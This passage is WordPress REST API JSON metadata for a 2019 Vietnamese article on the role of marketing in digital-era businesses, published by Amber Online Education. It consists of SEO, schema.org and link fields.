Online Education","og_description":"Trong th\u1eddi \u0111\u1ea1i ph\u00e1t tri\u1ec3n s\u1ed1 4.0, doanh nghi\u1ec7p \u0111ang […]","og_url":"https:\/\/amber.edu.vn\/en\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/","og_site_name":"Amber Online Education","article_published_time":"2019-09-21T02:27:47+00:00","article_modified_time":"2019-11-02T01:21:20+00:00","og_image":[{"width":3331,"height":1771,"url":"https:\/\/amber.edu.vn\/wp-content\/uploads\/2019\/09\/Digital-Marketing-Animation-Tips.jpg","type":"image\/jpeg"}],"author":"Amber Marketing","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Amber Marketing","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/amber.edu.vn\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/#article","isPartOf":{"@id":"https:\/\/amber.edu.vn\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/"},"author":{"name":"Amber Marketing","@id":"https:\/\/amber.edu.vn\/#\/schema\/person\/bc62cd935c327d0ed76d55680dadecbd"},"headline":"Marketing l\u00e0 g\u00ec? Vai tr\u00f2 c\u1ee7a Marketing trong doanh nghi\u1ec7p th\u1eddi \u0111\u1ea1i s\u1ed1 4.0","datePublished":"2019-09-21T02:27:47+00:00","dateModified":"2019-11-02T01:21:20+00:00","mainEntityOfPage":{"@id":"https:\/\/amber.edu.vn\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/"},"wordCount":2032,"commentCount":0,"publisher":{"@id":"https:\/\/amber.edu.vn\/#organization"},"articleSection":["Kh\u00e1c"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/amber.edu.vn\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/","url":"https:\/\/amber.edu.vn\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/","name":"Marketing l\u00e0 g\u00ec? Vai tr\u00f2 c\u1ee7a Marketing trong doanh nghi\u1ec7p th\u1eddi \u0111\u1ea1i s\u1ed1 4.0 - Amber Online Education","isPartOf":{"@id":"https:\/\/amber.edu.vn\/#website"},"datePublished":"2019-09-21T02:27:47+00:00","dateModified":"2019-11-02T01:21:20+00:00","breadcrumb":{"@id":"https:\/\/amber.edu.vn\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/amber.edu.vn\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/amber.edu.vn\/marketing-la-gi-vai-tro-cua-marketing-trong-doanh-nghiep-thoi-dai-so-4-0\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/amber.edu.vn\/"},{"@type":"ListItem","position":2,"name":"Marketing l\u00e0 g\u00ec? Vai tr\u00f2 c\u1ee7a Marketing trong doanh nghi\u1ec7p th\u1eddi \u0111\u1ea1i s\u1ed1 4.0"}]},{"@type":"WebSite","@id":"https:\/\/amber.edu.vn\/#website","url":"https:\/\/amber.edu.vn\/","name":"Amber Online Education","description":"","publisher":{"@id":"https:\/\/amber.edu.vn\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/amber.edu.vn\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/amber.edu.vn\/#organization","name":"Amber Online Education","url":"https:\/\/amber.edu.vn\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/amber.edu.vn\/#\/schema\/logo\/image\/","url":"https:\/\/amber.edu.vn\/wp-content\/uploads\/2021\/10\/hlogo-4.png","contentUrl":"https:\/\/amber.edu.vn\/wp-content\/uploads\/2021\/10\/hlogo-4.png","width":114,"height":53,"caption":"Amber Online Education"},"image":{"@id":"https:\/\/amber.edu.vn\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/amber.edu.vn\/#\/schema\/person\/bc62cd935c327d0ed76d55680dadecbd","name":"Amber Marketing","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/amber.edu.vn\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/b4dc22a4b621fe8483db53fdc2158d26?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/b4dc22a4b621fe8483db53fdc2158d26?s=96&d=mm&r=g","caption":"Amber Marketing"},"url":"https:\/\/amber.edu.vn\/en\/author\/amber-mkt\/"}]}},"_links":{"self":[{"href":"https:\/\/amber.edu.vn\/en\/wp-json\/wp\/v2\/posts\/4760"}],"collection":[{"href":"https:\/\/amber.edu.vn\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/amber.edu.vn\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/amber.edu.vn\/en\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"https:\/\/amber.edu.vn\/en\/wp-json\/wp\/v2\/comments?post=4760"}],"version-history":[{"count":0,"href":"https:\/\/amber.edu.vn\/en\/wp-json\/wp\/v2\/posts\/4760\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/amber.edu.vn\/en\/wp-json\/wp\/v2\/media\/4761"}],"wp:attachment":[{"href":"https:\/\/amber.edu.vn\/en\/wp-json\/wp\/v2\/media?parent=4760"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/amber.edu.vn\/en\/wp-json\/wp\/v2\/categories?post=4760"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/amber.edu.vn\/en\/wp-json\/wp\/v2\/tags?post=4760"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}